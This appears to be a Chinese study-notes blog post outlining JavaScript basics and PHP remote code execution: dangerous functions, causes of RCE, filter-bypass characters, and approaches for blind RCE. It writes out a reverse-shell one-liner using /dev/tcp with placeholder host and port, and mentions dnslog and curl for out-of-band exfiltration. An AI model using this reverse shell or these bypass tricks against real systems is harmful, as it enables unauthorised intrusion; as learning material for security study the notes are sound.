携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第5天,点击查看活动详情
JS
js基础
- JS可与html 混编,插入到html中任意位置
- JS属于前端安全
- 顺序执行,刷新页面后会重新执行
- 本地直接访问JS脚本时返回文本内容
简单语句
输出语句
alert(); // 弹窗
console.log(); // 在控制台执行
外部JS
src="路径"
引用
变量
命名规则
大小写英文、数字、$和_的组合,不能数字开头,不能使用关键字
声明
var
数组
对象
//person.name 结果为:'Bob'
JS函数
函数定义
function
结果:
对象
通过对象操作浏览器
浏览器内置对象
window
navigator
location 当前页面的URL信息
document 非常重要 当前页面
查找DOM节点
document.getElementById( )返回id为XXX的节点
//var test = document.getElementById( ‘test’)
document.getElementsByTagName()
//var trs =document.getElementById( 'test-table').document.getElementsByTagName('tr')
查找test-table下的tr节点
document.getElementsByclassName() css的类选择器
var cs = test.children
获取test节点下所有直属子节点
document.cook 可以完成cookie信息的读写
JS事件
<input type="button" onmousemove="alert('boom')" value="b1">
<input type="button" onclick="alert('yes')">
onclick:鼠标单击时运行脚本
onmousemove:鼠标指针移动时运行脚本
HTML事件:www.runoob.com/tags/ref-ev…
RCE
命令函数
system() //函数执行有回显,返回执行结果
passthru() //函数执行有回显,返回执行结果
exec() //函数执行无回显,默认返回最后一行结果,通过echo可将执行结果输出到页面
shell_exec() //函数执行无回显,通过echo可将执行结果输出到页面
`` //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
popen()
proc_open()
pcntl_exec()
原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
rce应用
1、执行系统命令
2、记录用户输入
3、控制键盘鼠标
4、任意上传下载
5、魔性洗脑
6、截屏
什么会导致rce
1、服务器上有木马
2、脆弱服务未授权
3、通过数据库写木马
4、文件上传/文件包含
5、危害函数
6、命令执行
7、反序列化
危险函数
eval、assert、system、shell_exec、exec、file_put_contents
命令执行
反序列化
serialize()
返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
unserialize()
对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
rce限制绕过
黑名单绕过
; && || | ` [] <> $IFS
| 管道符
| 表示管道,上一条命令的输出,作为下一条命令参数(输入)
rce无回显
反弹shell
bash -i > /dev/tcp/ip/port 0>&1
dnslog
dnslog.cn
写文件
curl等网络命令
rce后发现不出网
写文件
命令盲注
隐蔽信道